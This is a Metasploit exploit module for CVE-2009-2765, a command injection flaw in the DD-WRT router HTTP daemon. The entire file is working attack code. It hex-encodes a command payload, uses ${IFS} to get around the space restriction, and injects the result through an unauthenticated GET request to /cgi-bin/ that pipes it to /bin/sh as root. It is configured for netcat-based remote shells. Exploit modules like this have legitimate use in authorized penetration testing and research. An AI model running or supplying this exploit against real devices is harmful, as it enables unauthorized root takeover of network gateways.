DD-WRT HTTP v24-SP1 - Command Injection Vulnerability



##

# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

    include Msf::Exploit::Remote::Tcp

    def initialize(info = {})
        super(update_info(info,    
            'Name'           => 'DD-WRT HTTP Daemon Arbitrary Command Execution',
            'Description'    => %q{
                This module abuses a metacharacter injection vulnerability in the
            HTTP management server of wireless gateways running DD-WRT. This flaw
            allows an unauthenticated attacker to execute arbitrary commands as
            the root user account.
            },
            'Author'         => [ 'gat3way', 'hdm' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision$',
            'References'     =>
                [
                    [ 'CVE', '2009-2765'],
                    [ 'OSVDB', '55990' ],
                    [ 'BID', '35742' ],
                    [ 'URL', 'http://www.milw0rm.com/exploits/9209'],

                ],
            'Platform'       => ['unix'],
            'Arch'           => ARCH_CMD,                
            'Privileged'     => false,
            'Payload'        =>
                {
                    'Space'       => 1024,
                    'DisableNops' => true,
                    'Compat'      =>
                        {
                            'RequiredCmd' => 'generic netcat-e'
                        }
                },
            'Targets'        => 
                [
                    [ 'Automatic Target', { }]
                ],
            'DefaultTarget' => 0))
            
            register_options(
                [
                    Opt::RPORT(80)
                ], self.class)
    end
    
    def exploit
        connect

        cmd = payload.encoded.unpack("C*").map{|c| "\\x%.2x" % c}
        str = "echo${IFS}-ne${IFS}\"#{cmd}\"|/bin/sh&"
        req = 
            "GET /cgi-bin/;#{str} HTTP/1.1\r\n" +
            "Host: #{rhost}\r\n" +
            "Content-Length: 0\r\n\r\n"
        
        print_status("Sending GET request with encoded command line...")
        sock.put(req)
        
        handler
        disconnect
    end

end